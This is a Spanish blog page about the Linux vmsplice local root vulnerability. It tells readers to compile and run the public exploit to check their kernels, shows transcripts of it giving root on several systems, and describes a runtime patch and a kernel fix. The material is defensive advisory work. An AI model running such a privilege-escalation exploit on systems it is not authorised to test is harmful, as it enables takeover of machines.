citrix, ethernet, exploits, freebsd, html, kernel, linux, redes-sociales, seguridad, vmsplice, vulnerabilidades, web20
Filtro activo: »kernel« (Haga click en el filtro activo para quitarlo o seleccione otra palabra de la lista de arriba.)
$ wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c $ gcc disable-vmsplice-if-exploitable.c -o disable-vmsplice-if-exploitable $ sudo ./disable-vmsplice-if-exploitable Password: ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- Exploit gone! $Ejecutamos ahora de nuevo el exploit (cuyo fuente lo he llamado exploit-vmslice.c y el binario exploit-vmslice) y comprobamos que ya no conseguimos acceso root
$ ./exploit-vmsplice ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7e3c000 .. 0xb7e6e000 [-] vmsplice $Como comenté arriba, este parche actúa sobre la memoria, no sobre el código que se carga cuando el sistema se inicia, por tanto al reiniciar la máquina vuelve a ser vulnerable. La solución temporal es ejecutar este parche en el script de inicio del sistema.
Otra opción es parchear el fuente de splice.c (que es donde está el fallo) con el diff publicado en http://www.alu.ua.es/j/jgl14/patch-vmsplice-2.6.24.1.diff.gz y recompilar e instalar el nuevo kernel.
¿Te ha gustado? - Digg Me! | Add to del.icio.us! | reddit this!
permalink | categoría: /seguridad | Etiquetas: exploits, freebsd, kernel, linux, patch, seguridad, vmsplice, vulnerabilidades
Bug vmsplice en kernel Linux > 2.6.17. Sistemas vulnerables.
Este bug permite a un usuario hacerse root sin tener que dar ninguna contraseña. La versión del kernel 2.6.24.2, disponible en kernel.org ya tiene resuelto este problema.
La lista completa de versiones del kernel vulnerables la ha publicado Security Focus.
Para saber si tu máquina es vulnerable:
1. Accede a la página web del exploit y copialo a un fichero local, por ejemplo, exploit.c 2. Compílalo con la orden $ gcc exploit.c 3. Esto genera un fichero binario llamado a.out que puedes ejecutar directamente $ ./a.out
Copialo al portapapeles y lo pegas en tu terminal en un fichero vacío.
$ uname -a Linux jhp1 2.6.15-51-386 #1 PREEMPT Thu Dec 6 20:20:49 UTC 2007 i686 GNU/Linux $ gcc exploit.c $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7dc2000 .. 0xb7df4000 [-] vmsplice: Function not implemented $
$ uname -a Linux srv1 2.6.17-10-server #2 SMP Tue Dec 5 22:29:32 UTC 2006 i686 GNU/Linux $ gcc exploit.c $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7e5a000 .. 0xb7e8c000 [+] root #
$ uname -a Linux jhp2 2.6.20-16-386 #2 Tue Dec 18 05:41:44 UTC 2007 i686 GNU/Linux $ gcc exploit.c $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7e2c000 .. 0xb7e5e000 Fallo de segmentación (core dumped) $
$ uname -a Linux panic 2.6.22-14-generic #1 SMP Fri Feb 1 04:59:50 UTC 2008 i686 GNU/Linux $ gcc exploit.c $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7ddb000 .. 0xb7e0d000 [+] root #
$ uname -a Linux maiky 2.6.18-5-686 #1 SMP Wed Oct 3 00:12:50 UTC 2007 i686 GNU/Linux $ gcc exploit.c $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7d81000 .. 0xb7db3000 [+] root #
$ uname -a Linux lumi 2.6.18.2-34-default #1 SMP Mon Nov 27 11:46:27 UTC 2006 i686 i686 i386 GNU/Linux $ gcc exploit.c $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7da2000 .. 0xb7dd4000 [+] root #Gracias a Sergio y Maseda por aportar los resultados en sus máquinas
permalink | categoría: /seguridad | Etiquetas: exploits, freebsd, kernel, linux, seguridad, vmsplice, vulnerabilidades